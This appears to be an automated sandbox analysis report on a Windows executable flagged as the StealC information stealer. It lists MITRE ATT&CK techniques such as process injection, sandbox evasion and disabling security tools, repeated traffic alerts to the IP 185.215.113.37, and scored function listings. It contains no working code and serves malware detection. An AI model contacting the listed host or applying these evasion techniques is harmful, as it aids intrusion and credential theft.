Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A88EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00A88EA0

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
file.exe

Function 00A89860 Relevance: 61.5, APIs: 33, Strings: 2, Instructions: 212
libraryloaderCOMMON

Function 00A745C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 00A76280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Function 00A878E0 Relevance: 4.5, APIs: 3, Instructions: 40
memoryCOMMON

Function 00A89C10 Relevance: 235.2, APIs: 112, Strings: 22, Instructions: 684
libraryloaderCOMMON

Function 00A85510 Relevance: 24.9, APIs: 7, Strings: 7, Instructions: 383
sleepCOMMON

Function 00A817A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Function 00A87500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106
memoryCOMMON

Function 00A869F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Function 00A86AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Function 00A747B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Function 00A851F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Function 00A71220 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41
COMMON